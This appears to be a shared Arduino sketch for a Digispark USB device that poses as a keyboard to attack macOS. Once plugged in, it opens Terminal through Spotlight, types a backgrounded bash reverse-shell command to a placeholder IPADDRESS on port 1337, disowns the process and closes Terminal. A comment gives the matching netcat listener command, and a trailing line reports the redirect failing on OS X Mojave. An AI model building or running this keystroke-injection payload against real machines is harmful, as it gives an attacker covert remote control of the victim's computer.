A macOS reverse shell HID hack for use with Digispark USB HID (https://www.aliexpress.com/item/Free-Shipping-CJMCU-Digispark-kickstarter-miniature-for-Arduino-usb-development/32510265413.html)

digispark_macOS_reverse_shell.c

#include "DigiKeyboard.h"

//Command key is ord 37 and as a modifier 0x00000008
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h

#define MOD_CMD_LEFT 0x00000008
boolean do_hack = true;

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
  //cmd+space
  if (do_hack) {
    DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.print("terminal");
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(1000);
    //Ahead of time you want a machine at IPADDRESS listening on port 1337  `nc -l 1337`
    DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &");
    DigiKeyboard.delay(500);
    DigiKeyboard.println("disown $!");
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    do_hack = false;
  }
  // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  // if doing keyboard stuff because it keeps talking to the computer to make
  // sure the computer knows the keyboard is alive and connected
  DigiKeyboard.delay(10000);
}

no such file or directory: /dev/tcp/192.168.178.111/1337
OS X Mojave